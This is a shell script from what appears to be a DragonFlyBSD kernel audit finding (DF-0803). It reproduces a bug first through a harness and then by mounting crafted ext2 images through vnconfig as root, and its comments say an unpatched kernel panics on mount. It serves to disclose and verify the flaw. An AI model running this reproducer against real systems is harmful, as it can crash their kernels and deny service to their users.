โฌข DragonFlyBSD Kernel Audit
DF-0803 / run.sh
โ† back to finding โ†“ download raw
#!/bin/sh
# DF-0803 โ€” reproduce the bug deterministically (harness) AND by mounting
# the crafted image. The image-mount half requires root and a vnconfig-aware
# DragonFly guest; the harness half is fully portable.
set -e
cd "$(dirname "$0")"

echo "=========================================================="
echo " PART 1 โ€” deterministic arithmetic (no kernel required)"
echo "=========================================================="
./harness

echo
echo "=========================================================="
echo " PART 2 โ€” mount the crafted image (requires root + vnconfig)"
echo "=========================================================="
if [ "$(id -u)" -ne 0 ]; then
    echo "(skipped: must run as root to vnconfig + mount)"
    exit 0
fi

for V in g0 g1; do
    IMG="df0803_${V}.img"
    [ -f "$IMG" ] || { echo "$IMG missing โ€” run craft_img.py first"; continue; }
    echo
    echo "--- $IMG (expect EINVAL with fix, panic without) ---"
    vnconfig -u vn0 2>/dev/null || true
    vnconfig -c vn0 "$IMG"
    mount_ext2fs -o ro /dev/vn0 /mnt 2>&1
    RC=$?
    echo "MOUNT_EXIT=$RC"
    if [ "$RC" -eq 0 ]; then
        echo "(mount proceeded โ€” listing /mnt; on unpatched kernel this panics)"
        ls /mnt 2>&1 | head -3
        umount /mnt 2>/dev/null || true
    fi
    vnconfig -u vn0 2>/dev/null || true
done